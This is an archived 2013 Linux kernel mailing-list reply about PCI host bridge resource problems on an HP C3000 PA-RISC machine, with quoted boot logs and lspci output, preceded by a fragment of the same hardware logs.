sstfb 0000:02:03.0: enabling SERR and PARITY (0002 -> 0142)
Voodoo2 (revision 2) with ICS ICS5342 dac
framebuffer at 0xfffffffff9400000, mapped to 0x0000000000700000, size 2MB
fb1: Voodoo2 frame buffer device at 0x0000000000700000
.....

lspci -v:
---------
00:0c.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 41)
	Subsystem: Hewlett-Packard Company Device 104f
	Flags: bus master, medium devsel, latency 255, IRQ 65
	I/O ports at 1000 [size=128]
	Memory at fffffffff4008000 (32-bit, non-prefetchable) [size=1K]
	Expansion ROM at fffffffff4040000 [disabled] [size=256K]
	Kernel driver in use: tulip

00:0d.0 Multimedia audio controller: Analog Devices AD1889 sound chip
	Subsystem: Analog Devices AD1889 sound chip
	Flags: bus master, medium devsel, latency 255, IRQ 66
	Memory at fffffffff400c000 (32-bit, prefetchable) [size=512]
	Memory at fffffffff400b000 (32-bit, prefetchable) [size=16]
	Memory at fffffffff400a000 (32-bit, prefetchable) [size=16]
	Memory at fffffffff4009000 (32-bit, prefetchable) [size=16]
	Capabilities: [dc] Power Management version 1

00:0e.0 IDE interface: National Semiconductor Corporation 87415/87560 IDE (rev 03) (prog-if 8f [Master SecP SecO PriP PriO])
	Flags: bus master, medium devsel, latency 255, IRQ 7
	I/O ports at 0f00 [size=8]
	I/O ports at 0e00 [size=4]
	I/O ports at 0d00 [size=8]
	I/O ports at 0b00 [size=4]
	I/O ports at 0a00 [size=16]
	Kernel driver in use: NS87415_IDE

00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O (rev 01)
	Flags: bus master, medium devsel, latency 255, IRQ 67
	Kernel driver in use: SuperIO

00:0e.2 USB controller: National Semiconductor Corporation USB Controller (rev 02) (prog-if 10 [OHCI])
	Flags: bus master, medium devsel, latency 240, IRQ 1
	Memory at fffffffff4007000 (32-bit, non-prefetchable) [size=4K]
	Memory at fffffffff4006000 (32-bit, non-prefetchable) [size=4K]
	Kernel driver in use: ohci_hcd

00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53C896/897 (rev 07)
	Subsystem: LSI Logic / Symbios Logic LSI53C896/7 PCI to Dual Channel Ultra2 SCSI Multifunction Controller
	Flags: bus master, medium devsel, latency 255, IRQ 68
	I/O ports at 0900 [size=256]
	Memory at fffffffff4005000 (64-bit, non-prefetchable) [size=1K]
	Memory at fffffffff4002000 (64-bit, non-prefetchable) [size=8K]
	Capabilities: [40] Power Management version 2
	Kernel driver in use: sym53c8xx

00:0f.1 SCSI storage controller: LSI Logic / Symbios Logic 53C896/897 (rev 07)
	Subsystem: LSI Logic / Symbios Logic LSI53C896/7 PCI to Dual Channel Ultra2 SCSI Multifunction Controller
	Flags: bus master, medium devsel, latency 255, IRQ 68
	I/O ports at 0800 [size=256]
	Memory at fffffffff4004000 (64-bit, non-prefetchable) [size=1K]
	Memory at fffffffff4000000 (64-bit, non-prefetchable) [size=8K]
	Capabilities: [40] Power Management version 2
	Kernel driver in use: sym53c8xx

01:04.0 Display controller: Hewlett-Packard Company A4977A Visualize EG (rev 03)
	Flags: 66MHz, medium devsel
	Memory at fffffffffa000000 (32-bit, non-prefetchable) [size=32M]
	Expansion ROM at fffffffff4800000 [disabled] [size=64K]
	Kernel driver in use: sti

02:03.0 Multimedia video controller: 3Dfx Interactive, Inc. Voodoo 2 (rev 02)
	Flags: fast devsel
	Memory at fffffffff9000000 (32-bit, prefetchable) [size=16M]
	Kernel driver in use: sstfb

From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci
Subject: Re: [PATCH] parisc/PCI: lba: fix: convert to pci_create_root_bus()
 for correct root bus resources
Date: Fri, 31 May 2013 15:25:20 -0600
Lines: 389
Approved: news@gmane.org
Message-ID: <CAErSpo6oX4ADT39_ya_PbHhkQ=i_TaT+hwfrh6qXDn2xCEnx7w@mail.gmail.com>
References: <20130530141033.GA3665@ls3530.box> <CAErSpo69AxKgz8Dg8+T7n5jsuOzdSoCUstqrX+uUh8TZ08ayqg@mail.gmail.com>
 <51A7ACBF.4030601@gmx.de> <20130530211244.GA28735@google.com>
 <51A7C763.4080704@gmx.de> <51A90C21.7010602@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1370035544 15247 80.91.229.3 (31 May 2013 21:25:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 May 2013 21:25:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 31 23:25:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UiWpT-0003Av-J4
	for glpp-linux-parisc@plane.gmane.org; Fri, 31 May 2013 23:25:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756122Ab3EaVZm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 May 2013 17:25:42 -0400
Original-Received: from mail-ob0-f178.google.com ([209.85.214.178]:46560 "EHLO
	mail-ob0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755010Ab3EaVZl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 May 2013 17:25:41 -0400
Original-Received: by mail-ob0-f178.google.com with SMTP id fb19so3936450obc.37
        for <linux-parisc@vger.kernel.org>; Fri, 31 May 2013 14:25:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=s2oRCLeX0hHkrxi6E8NlUEIJz9q3nRNarBGXyvc2w74=;
        b=E2E5moo7xlKbu0HwTbJFmTWpWBBz/gDGwXu8Jp30eKwo6LHm+BWlkgf2RCbWOQ59bM
         kZFP/5SO5PMzhNLqF0+X8bjP9dwFAdhLjBO0bGUkFmsHazy7v8xD51rpTPfpbekE7OQh
         ULXuSi9caCHvdA74L2lrgq9RC+27oRWG4hrElkyqjW3ps4mrzTQWZAqhstCjjAfrwozF
         TO3S1p59+ZDG+4j0Y/Jd9o6hFtgYw2mlxGQ4p9lDTx2IHos3Li4xVV4H9IvwX4lkRsV1
         o7ceHDdkKxTih+YAVs/odvoq1Qn02kwVzA4eaY0Z78fm6DlvVe304XOyB9pj0xXDvxC4
         FMCA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:x-gm-message-state;
        bh=s2oRCLeX0hHkrxi6E8NlUEIJz9q3nRNarBGXyvc2w74=;
        b=RODZPFw1eGjS0czQD77TTN7eQuhHYhXDYETrlwLVjsuxiBwv0ecMJ7C3wi0S8kdukO
         1O/3vuG1CbWRZ+FuPqwbq3LWOiIXZU17F2ajpxMy7qdkHPzAfGWDu3u0KGiohY7uW/fF
         d81ThNngMa7M1vc/zecyZBfqZrC6HhG0/Qbb43KnljHw6RR58xVR3SK1ccZ4LkUTmECN
         MPiGOEMkGxGIBAMWe1/wh6R0lSh10p8zOi8MNznk1aEUozZlClIKw1spdlF21XhfWFs6
         7o3jQANucYKwTPoig9UHE80hVn5vHRcV0kVu2zpQkQlk7TwCAWqAF8ouqaAdRD11V5QT
         eRCg==
X-Received: by 10.182.74.194 with SMTP id w2mr5681354obv.40.1370035540313;
 Fri, 31 May 2013 14:25:40 -0700 (PDT)
Original-Received: by 10.182.81.10 with HTTP; Fri, 31 May 2013 14:25:20 -0700 (PDT)
In-Reply-To: <51A90C21.7010602@gmx.de>
X-Gm-Message-State: ALoCoQkGBG2enFps/LTnDCIJHJ0LYLe0ASkn43dCR5BaCGDLWWGzRX97JqV4x0Jgid9zbHCUvy7F6KdsgMY1kYJ8sePtIlKVWQi5vTNFIW4poI42nCY43b5YZErGs0pFKmfMlgbPAY4QghsDpAqHkWYTp56TZ6Uod2bGeG0HOb9v3p/k4ku0dHoQnQ5mv1SmR4dMVdXTuP+Z+4vkH58t+y3tuqRntdcmbQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5115 gmane.linux.kernel.pci:22814
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5115>

On Fri, May 31, 2013 at 2:46 PM, Helge Deller <deller@gmx.de> wrote:
> On 05/30/2013 11:40 PM, Helge Deller wrote:
>> On 05/30/2013 11:12 PM, Bjorn Helgaas wrote:
>>> On Thu, May 30, 2013 at 09:47:11PM +0200, Helge Deller wrote:
>>>> Maybe you could help me with another problem which I have with my C3000 as well?
>>>>
>>>> That's the current log:
>>>> Found devices:
>>>> 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
>>>> 2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
>>>> 3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
>>>> 4. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
>>>> 5. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
>>>> 6. Allegro W2 at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
>>>> 7. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
>>>> CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
>>>> Whole cache flush 492314 cycles, flushing 7983104 bytes 1594427 cycles
>>>> Setting cache flush threshold to 180000 (1 CPUs online)
>>>> SBA found Astro 2.1 at 0xfffffffffed00000
>>>
>>>> Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
>>>> LBA 10:0: PCI host bridge to bus 0000:00
>>>> pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
>>>> pci_bus 0000:00: root bus resource [mem 0xfffffffff2000000-0xfffffffff23fffff] (bus address [0xf2000000-0xf23fffff])
>>>> pci_bus 0000:00: root bus resource [bus 00]
>>>> pci 0000:00:0c.0: [1011:0019] type 00 class 0x020000
>>>> pci 0000:00:0c.0: reg 10: [io  0x1000-0x107f]
>>>> pci 0000:00:0c.0: reg 14: [mem 0xfffffffff2008000-0xfffffffff20083ff]
>>>> pci 0000:00:0c.0: reg 30: [mem 0xfffffffff2040000-0xfffffffff207ffff pref]
>>>> pci 0000:00:0d.0: [11d4:1889] type 00 class 0x040100
>>>> pci 0000:00:0d.0: reg 10: [mem 0xfffffffff200c000-0xfffffffff200c1ff pref]
>>>> pci 0000:00:0d.0: reg 14: [mem 0xfffffffff200b000-0xfffffffff200b00f pref]
>>>> pci 0000:00:0d.0: reg 18: [mem 0xfffffffff200a000-0xfffffffff200a00f pref]
>>>> pci 0000:00:0d.0: reg 1c: [mem 0xfffffffff2009000-0xfffffffff200900f pref]
>>>> pci 0000:00:0d.0: supports D2
>>>> pci 0000:00:0e.0: [100b:0002] type 00 class 0x01018a
>>>> PCI: Enabled native mode for NS87415 (pif=0x8f)
>>>> pci 0000:00:0e.0: reg 10: [io  0x0f00-0x0f07]
>>>> pci 0000:00:0e.0: reg 14: [io  0x0e00-0x0e03]
>>>> pci 0000:00:0e.0: reg 18: [io  0x0d00-0x0d07]
>>>> pci 0000:00:0e.0: reg 1c: [io  0x0b00-0x0b03]
>>>> pci 0000:00:0e.0: reg 20: [io  0x0a00-0x0a0f]
>>>> pci 0000:00:0e.1: [100b:000e] type 00 class 0x068000
>>>> pci 0000:00:0e.2: [100b:0012] type 00 class 0x0c0310
>>>> pci 0000:00:0e.2: reg 10: [mem 0xfffffffff2007000-0xfffffffff2007fff]
>>>> pci 0000:00:0e.2: reg 14: [mem 0xfffffffff2006000-0xfffffffff2006fff]
>>>> pci 0000:00:0f.0: [1000:000b] type 00 class 0x010000
>>>> pci 0000:00:0f.0: reg 10: [io  0x0900-0x09ff]
>>>> pci 0000:00:0f.0: reg 14: [mem 0xfffffffff2005000-0xfffffffff20053ff 64bit]
>>>> pci 0000:00:0f.0: reg 1c: [mem 0xfffffffff2002000-0xfffffffff2003fff 64bit]
>>>> pci 0000:00:0f.0: supports D1 D2
>>>> pci 0000:00:0f.1: [1000:000b] type 00 class 0x010000
>>>> pci 0000:00:0f.1: reg 10: [io  0x0800-0x08ff]
>>>> pci 0000:00:0f.1: reg 14: [mem 0xfffffffff2004000-0xfffffffff20043ff 64bit]
>>>> pci 0000:00:0f.1: reg 1c: [mem 0xfffffffff2000000-0xfffffffff2001fff 64bit]
>>>> pci 0000:00:0f.1: supports D1 D2
>>>
>>>> Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
>>>> LBA 10:1: PCI host bridge to bus 0000:01
>>>> pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
>>>> pci_bus 0000:01: root bus resource [mem 0xfffffffff6000000-0xfffffffff6ffffff] (bus address [0xf6000000-0xf6ffffff])
>>>
>>> 16MB window (probably "directed range").
>>>
>>>> pci_bus 0000:01: root bus resource [mem 0xfffffffff2400000-0xfffffffff27fffff] (bus address [0xf2400000-0xf27fffff])
>>>
>>> 4MB window (probably "distributed range").
>>>
>>>> pci_bus 0000:01: root bus resource [bus 01-02]
>>>> pci 0000:01:04.0: [103c:1005] type 00 class 0x038000
>>>> pci 0000:01:04.0: reg 10: [mem 0xf6000000-0xf7ffffff]
>>>
>>> This BAR requires 32MB, so it doesn't fit inside the window.
>>>
>>> Has this device ever worked on Linux, or do you know if it works on HP-UX?
>>
>> Yes, that's a simple HP graphics framebuffer card for HP-UX:
>> 01:04.0 Display controller: Hewlett-Packard Company A4977A Visualize EG (rev 03)
>>         Flags: 66MHz, medium devsel
>>         Memory at f6000000 (32-bit, non-prefetchable) [size=32M]
>>         Expansion ROM at f2400000 [disabled] [size=64K]
>>
>>> If so, our idea of the LBA 10:1 bridge windows is probably wrong.  There
>>> is no generic mechanism for LBA window workarounds (i.e., nothing like
>>> the PCI quirk mechanism), but you might be able to detect and work
>>> around this issue in lba_pat_resources() or lba_legacy_resources().
>>> Of course, you have to know where to get the correct window info.  It
>>> looks like lba_legacy_resources() reads that directly from hardware
>>> via sba_distributed_lmmio() and sba_directed_lmmio().  I'd be surprised
>>> if the hardware registers gave the wrong values, since they're probably
>>> used directly for routing.
>>>
>>>> pci 0000:01:04.0: reg 30: [mem 0xfffffffff2400000-0xfffffffff240ffff pref]
>>>> pci 0000:01:05.0: [121a:0002] type 00 class 0x040000
>>>> pci 0000:01:05.0: reg 10: [mem 0xf8000000-0xf8ffffff pref]
>>>
>>> Also wrong because it doesn't fit in any window we know about.
>>
>> 01:05.0 Multimedia video controller: 3Dfx Interactive, Inc. Voodoo 2 (rev 02)
>>         Flags: fast devsel
>>         Memory at f8000000 (32-bit, prefetchable) [size=16M]
>>
>> -> from PC. IIRC, it worked once for me under Linux in this machine (when the C3000 workaround worked).
>>
>>>> pci 0000:01:06.0: [3388:0021] type 01 class 0x060400
>>>> pci 0000:01:06.0: supports D1 D2
>>>> pci 0000:01:06.0: PME# supported from D1 D2 D3hot D3cold
>>
>> 01:06.0 PCI bridge: Hint Corp HB6 Universal PCI-PCI bridge (non-transparent mode) (rev 12) (prog-if 00 [Normal decode])
>>         Flags: bus master, fast Back2Back, medium devsel, latency 255
>>         Bus: primary=01, secondary=02, subordinate=02, sec-latency=255
>>         I/O behind bridge: 00000000-00000fff
>>         Memory behind bridge: f9000000-fbffffff
>>         Prefetchable memory behind bridge: ffffffff00000000-ffffffff000fffff
>>         Capabilities: [80] Power Management version 2
>>         Capabilities: [90] CompactPCI hot-swap <?>
>>         Capabilities: [a0] Vital Product Data
>>
>> -> I don't know any longer what that is.
>> Will plug it out.
>>
>>>> pci 0000:01:04.0: no compatible bridge window for [mem 0xf6000000-0xf7ffffff]
>>>>
>>>> ^^ HERE ^^^
>>>> That's actually the problem.
>>>> pci 0000:01:04.0, pci 0000:01:05.0 and maybe pci 0000:01:06.0 should be:
>>>> pci 0000:00:04.0, pci 0000:00:05.0 and maybe pci 0000:00:06.0.
>>>>
>>>> This problem is documented in lba_pci.c as a bug on the C3000 machines, that
>>>> everything listed under PCI02 actually lives under PCI00.
>>>> Just search for the lengthy comment in lba_pci.c (search for keyword C3000).
>>>>
>>>> Can you maybe give me some hints how I can build a proper workaround for that problem?
>>>> Is there any similar workaround in the pci codebase which I haven't found yet?
>>>> The reference code in lba_pci.c doesn't compile any longer, but maybe
>>>> it's possible to reactivate it somehow?
>>>>
>>>>
>>>> iosapic: no IRTE for 0000:01:04.0 (IRQ not connected?)
>>>> pci 0000:01:05.0: no compatible bridge window for [mem 0xf8000000-0xf8ffffff pref]
>>>> iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
>>>> pci_bus 0000:02: busn_res: can not insert [bus 02-ff] under [bus 01-02] (conflicts with (null) [bus 01-02])
>>>
>>> The PCI core does know that LBA 10:0 leads only to [bus 01-02], but maybe
>>> we try to set the end of the range higher during enumeration, in case we
>>> find bridges?  We *shouldn't* go past bus 02 though, because then we might
>>> falsely believe a device on bus 03 was under this LBA.  I'm not sure what's
>>> going on here.
>>>
>>>> pci 0000:02:00.0: [102b:0525] type 00 class 0x030000
>>>> pci 0000:02:00.0: reg 10: [mem 0xfa000000-0xfbffffff pref]
>>>> pci 0000:02:00.0: reg 14: [mem 0xf9800000-0xf9803fff]
>>>> pci 0000:02:00.0: reg 18: [mem 0xf9000000-0xf97fffff]
>>>> pci 0000:02:00.0: reg 30: [mem 0xf9820000-0xf983ffff pref]
>>>
>>> These are all wrong, too.
>>>
>>>> pci 0000:01:06.0: PCI bridge to [bus 02-ff]
>>>>
>>>> ^^^^ HERE ^^^^
>>>> Should this be something like (in **): ?
>>>>    pci 0000:01:06.0: PCI bridge to *BUS 02-ff* [bus 02-ff
>>>> But probably it's related to the C3000 bug mentioned above.
>>>>
>>>>
>>>> pci 0000:01:06.0:   bridge window [io  0x0000-0x0fff]
>>>
>>> Something's wrong here, too.  The host bridge I/O window is
>>> [io  0x12000-0x13fff] (bus address [0x2000-0x3fff]), and this
>>> P2P bridge window is not inside it.
>>>
>>>> pci 0000:01:06.0:   bridge window [mem 0xf9000000-0xfbffffff]
>>>
>>> This looks wrong, too.
>>>
>>>> pci 0000:01:06.0:   bridge window [mem 0xffffffff00000000-0xffffffff000fffff 64bit pref]
>>>> pci 0000:01:06.0: address space collision: [io  0x0000-0x0fff] conflicts with PCI01 Ports [io  0x12000-0x13fff]
>>>> pci 0000:01:06.0: no compatible bridge window for [mem 0xf9000000-0xfbffffff]
>>>> pci 0000:01:06.0: no compatible bridge window for [mem 0xffffffff00000000-0xffffffff000fffff 64bit pref]
>>>> pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
>>>
>>> I don't know what's going on here -- looks like that resource is all zeroes?
>>>
>>>> pci_bus 0000:02: busn_res: [bus 02-ff] end is updated to 02
>>>> pci 0000:01:06.0: device not available (can't reserve [io  0x0000-0x0fff])
>>>> pci 0000:01:06.0: Error enabling bridge (-22), continuing
>>
>>>> Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
>>>> LBA 10:4: PCI host bridge to bus 0000:03
>>>> pci_bus 0000:03: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
>>>> pci_bus 0000:03: root bus resource [mem 0xfffffffff3000000-0xfffffffff33fffff] (bus address [0xf3000000-0xf33fffff])
>>>> pci_bus 0000:03: root bus resource [bus 03]
>>>> pci 0000:03:01.0: [12ae:0001] type 00 class 0x020000
>>>> pci 0000:03:01.0: reg 10: [mem 0xfffffffff3000000-0xfffffffff3003fff]
>>>> pci 0000:03:03.0: [1011:0019] type 00 class 0x020000
>>>> pci 0000:03:03.0: reg 10: [io  0x28000-0x2807f]
>>>> pci 0000:03:03.0: reg 14: [mem 0xfffffffff3004000-0xfffffffff300407f]
>>>> pci 0000:03:03.0: reg 30: [mem 0xfffffffff3040000-0xfffffffff307ffff pref]
>>>> Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
>>>> .....
>>>
>>> Wow, this is a real train wreck.  Has this configuration ever worked under
>>> Linux?  Does it work under HP-UX?
>>
>> I think all devices beside 01:06.0 worked under Linux in the past.
>> I'll take out the 01:06.0 and try again.
>>
>>>  Maybe it has devices that aren't
>>> officially supported and the firmware did the wrong thing?  (Though it'd
>>> still be nice if Linux did something more sensible than this.)
>
> Ok, I removed all unnecessary cards, incl. 100MBit NIC, 1000MBit NIC, Matrox G200 and a Visualize FX.
>
> Now it works nicely and as expected.
> Even the Visualize EG graphics card and the Voodo2 work (which were my main problem) :-)

Good, glad that works.  We *ought* to be able to do better, e.g., by
just ignoring cards that we can't use.

If you have a chance, you might collect the complete dmesg log from
both the working configuration and the broken one, and attach them to
a new kernel.org PCI bugzilla.  Maybe we can ponder them and figure
something out.

I suspect the problem is related to the fact that we don't really
enforce the host bridge apertures reported by the platform.  But we
might be able to tighten that up, or do something specific to parisc
that would help this situation.

Bjorn

> Found devices:
> 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
> 2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
> 3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
> 4. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
> 5. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
> 6. Allegro W2 at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
> 7. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
> CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
> SBA found Astro 2.1 at 0xfffffffffed00000
> Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
> LBA 10:0: PCI host bridge to bus 0000:00
> pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
> pci_bus 0000:00: root bus resource [mem 0xfffffffff4000000-0xfffffffff47fffff] (bus address [0xf4000000-0xf47fffff])
> pci_bus 0000:00: root bus resource [bus 00]
> pci 0000:00:0c.0: [1011:0019] type 00 class 0x020000
> pci 0000:00:0c.0: reg 10: [io  0x1000-0x107f]
> pci 0000:00:0c.0: reg 14: [mem 0xfffffffff4008000-0xfffffffff40083ff]
> pci 0000:00:0c.0: reg 30: [mem 0xfffffffff4040000-0xfffffffff407ffff pref]
> pci 0000:00:0d.0: [11d4:1889] type 00 class 0x040100
> pci 0000:00:0d.0: reg 10: [mem 0xfffffffff400c000-0xfffffffff400c1ff pref]
> pci 0000:00:0d.0: reg 14: [mem 0xfffffffff400b000-0xfffffffff400b00f pref]
> pci 0000:00:0d.0: reg 18: [mem 0xfffffffff400a000-0xfffffffff400a00f pref]
> pci 0000:00:0d.0: reg 1c: [mem 0xfffffffff4009000-0xfffffffff400900f pref]
> pci 0000:00:0d.0: supports D2
> pci 0000:00:0e.0: [100b:0002] type 00 class 0x01018a
> PCI: Enabled native mode for NS87415 (pif=0x8f)
> pci 0000:00:0e.0: reg 10: [io  0x0f00-0x0f07]
> pci 0000:00:0e.0: reg 14: [io  0x0e00-0x0e03]
> pci 0000:00:0e.0: reg 18: [io  0x0d00-0x0d07]
> pci 0000:00:0e.0: reg 1c: [io  0x0b00-0x0b03]
> pci 0000:00:0e.0: reg 20: [io  0x0a00-0x0a0f]
> pci 0000:00:0e.1: [100b:000e] type 00 class 0x068000
> pci 0000:00:0e.2: [100b:0012] type 00 class 0x0c0310
> pci 0000:00:0e.2: reg 10: [mem 0xfffffffff4007000-0xfffffffff4007fff]
> pci 0000:00:0e.2: reg 14: [mem 0xfffffffff4006000-0xfffffffff4006fff]
> pci 0000:00:0f.0: [1000:000b] type 00 class 0x010000
> pci 0000:00:0f.0: reg 10: [io  0x0900-0x09ff]
> pci 0000:00:0f.0: reg 14: [mem 0xfffffffff4005000-0xfffffffff40053ff 64bit]
> pci 0000:00:0f.0: reg 1c: [mem 0xfffffffff4002000-0xfffffffff4003fff 64bit]
> pci 0000:00:0f.0: supports D1 D2
> pci 0000:00:0f.1: [1000:000b] type 00 class 0x010000
> pci 0000:00:0f.1: reg 10: [io  0x0800-0x08ff]
> pci 0000:00:0f.1: reg 14: [mem 0xfffffffff4004000-0xfffffffff40043ff 64bit]
> pci 0000:00:0f.1: reg 1c: [mem 0xfffffffff4000000-0xfffffffff4001fff 64bit]
> pci 0000:00:0f.1: supports D1 D2
> Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
> LBA 10:1: PCI host bridge to bus 0000:01
> pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
> pci_bus 0000:01: root bus resource [mem 0xfffffffffa000000-0xfffffffffbffffff] (bus address [0xfa000000-0xfbffffff])
> pci_bus 0000:01: root bus resource [mem 0xfffffffff4800000-0xfffffffff4ffffff] (bus address [0xf4800000-0xf4ffffff])
> pci_bus 0000:01: root bus resource [bus 01]
> pci 0000:01:04.0: [103c:1005] type 00 class 0x038000
> pci 0000:01:04.0: reg 10: [mem 0xfffffffffa000000-0xfffffffffbffffff]
> pci 0000:01:04.0: reg 30: [mem 0xfffffffff4800000-0xfffffffff480ffff pref]
> iosapic: hpa not registered for 0000:01:04.0
> Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
> LBA 10:4: PCI host bridge to bus 0000:02
> pci_bus 0000:02: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
> pci_bus 0000:02: root bus resource [mem 0xfffffffff9000000-0xfffffffff9ffffff] (bus address [0xf9000000-0xf9ffffff])
> pci_bus 0000:02: root bus resource [mem 0xfffffffff6000000-0xfffffffff67fffff] (bus address [0xf6000000-0xf67fffff])
> pci_bus 0000:02: root bus resource [bus 02]
> pci 0000:02:03.0: [121a:0002] type 00 class 0x040000
> pci 0000:02:03.0: reg 10: [mem 0xfffffffff9000000-0xfffffffff9ffffff pref]
> iosapic: hpa not registered for 0000:02:03.0
> Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
> LBA 10:6: PCI host bridge to bus 0000:03
> pci_bus 0000:03: root bus resource [io  0x3c000-0x3dfff] (bus address [0xc000-0xdfff])
> pci_bus 0000:03: root bus resource [mem 0xfffffffff7000000-0xfffffffff77fffff] (bus address [0xf7000000-0xf77fffff])
> pci_bus 0000:03: root bus resource [bus 03]
> .....
> .....
> STI GSC/PCI core graphics driver Version 0.9a
> sti 0000:01:04.0: enabling SERR and PARITY (0002 -> 0142)
> STI PCI graphic ROM found at fffffffff4800000 (64 kB), fb at fffffffffa000000 (32 MB)
>     id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
>     graphics card name: PCI_GRAFFITIX1024
> sticon: Initializing STI text console.
> Console: switching to colour STI console 128x48
> Console: switching to colour frame buffer device 128x48
> fb0: stifb 1024x768-8 frame buffer device, PCI_GRAFFITIX1024, id: 2d08c0a7, mmio: 0xfffffffffa100000
> sstfb 0000:02:03.0: enabling SERR and PARITY (0002 -> 0142)
> Voodoo2 (revision 2) with ICS ICS5342 dac
> framebuffer at 0xfffffffff9400000, mapped to 0x0000000000700000, size 2MB
> fb1: Voodoo2 frame buffer device at 0x0000000000700000
> .....
>
> lspci -v:
> ---------
> 00:0c.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 41)
>         Subsystem: Hewlett-Packard Company Device 104f
>         Flags: bus master, medium devsel, latency 255, IRQ 65
>         I/O ports at 1000 [size=128]
>         Memory at fffffffff4008000 (32-bit, non-prefetchable) [size=1K]
>         Expansion ROM at fffffffff4040000 [disabled] [size=256K]
>         Kernel driver in use: tulip
>
> 00:0d.0 Multimedia audio controller: Analog Devices AD1889 sound chip
>         Subsystem: Analog Devices AD1889 sound chip
>         Flags: bus master, medium devsel, latency 255, IRQ 66
>         Memory at fffffffff400c000 (32-bit, prefetchable) [size=512]
>         Memory at fffffffff400b000 (32-bit, prefetchable) [size=16]
>         Memory at fffffffff400a000 (32-bit, prefetchable) [size=16]
>         Memory at fffffffff4009000 (32-bit, prefetchable) [size=16]
>         Capabilities: [dc] Power Management version 1
>
> 00:0e.0 IDE interface: National Semiconductor Corporation 87415/87560 IDE (rev 03) (prog-if 8f [Master SecP SecO PriP PriO])
>         Flags: bus master, medium devsel, latency 255, IRQ 7
>         I/O ports at 0f00 [size=8]
>         I/O ports at 0e00 [size=4]
>         I/O ports at 0d00 [size=8]
>         I/O ports at 0b00 [size=4]
>         I/O ports at 0a00 [size=16]
>         Kernel driver in use: NS87415_IDE
>
> 00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O (rev 01)
>         Flags: bus master, medium devsel, latency 255, IRQ 67
>         Kernel driver in use: SuperIO
>
